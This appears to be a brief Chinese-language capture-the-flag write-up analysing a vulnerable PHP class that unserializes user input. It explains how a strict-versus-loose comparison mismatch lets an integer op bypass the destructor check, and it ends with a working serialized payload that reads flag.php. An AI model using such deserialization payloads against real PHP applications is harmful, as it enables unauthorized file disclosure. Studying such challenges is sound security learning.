分析一下他给的代码:
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
function __destruct()
反序列化过程中,__destruct析构方法
op=2时,赋值op=1 content置为空,调用process();
这里的 if 中的判断语句用的是强类型比较
public function process()
op=1执行write();
op=2执行read(),将结果赋值给$res,然后输出;
其余情况输出"Bad Hacker!";
弱类型比较
private function read()
filename调用file_get_contents函数将文件内容赋值给$res输出
需要绕过:
尝试解决:
run出来的str:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}